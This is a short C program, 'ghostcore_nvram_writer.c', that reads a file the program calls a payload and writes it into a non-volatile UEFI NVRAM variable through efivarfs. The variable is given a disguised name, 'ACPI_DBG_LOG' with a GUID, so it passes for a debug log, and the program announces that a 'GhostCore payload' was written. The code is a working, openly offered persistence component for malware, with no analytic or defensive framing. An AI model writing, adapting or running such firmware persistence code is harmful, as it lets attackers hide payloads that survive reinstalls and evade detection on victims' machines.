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- // ghostcore_nvram_writer.c
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <fcntl.h>
- #include <sys/stat.h>
- #include <unistd.h>
- #include <errno.h>
- #define VAR_NAME "ACPI_DBG_LOG-4d1ede05-38c7-4a6a-9cc6-4bcca8b38c14"
- #define EFIVARS_PATH "/sys/firmware/efi/efivars/" VAR_NAME
- int main(int argc, char *argv[]) {
- if (argc != 2) {
- fprintf(stderr, "Usage: %s <payload file>\n", argv[0]);
- return 1;
- }
- const char *payload_path = argv[1];
- FILE *fp = fopen(payload_path, "rb");
- if (!fp) {
- perror("Failed to open payload file");
- return 1;
- }
- // Read payload into memory
- fseek(fp, 0, SEEK_END);
- size_t fsize = ftell(fp);
- rewind(fp);
- unsigned char *payload = malloc(fsize + 4);
- if (!payload) {
- fclose(fp);
- perror("Memory error");
- return 1;
- }
- fread(payload + 4, 1, fsize, fp);
- fclose(fp);
- // Attributes: 07 00 00 00 => EFI_VARIABLE_NON_VOLATILE | BOOTSERVICE_ACCESS | RUNTIME_ACCESS
- payload[0] = 0x07;
- payload[1] = 0x00;
- payload[2] = 0x00;
- payload[3] = 0x00;
- // Write to efivarfs
- int fd = open(EFIVARS_PATH, O_WRONLY | O_CREAT, 0644);
- if (fd < 0) {
- perror("Failed to open EFI variable path (maybe run as root?)");
- return 1;
- }
- if (write(fd, payload, fsize + 4) != fsize + 4) {
- perror("Failed to write EFI variable");
- close(fd);
- return 1;
- }
- printf("🔥 GhostCore payload written to NVRAM as %s\n", VAR_NAME);
- close(fd);
- free(payload);
- return 0;
- }
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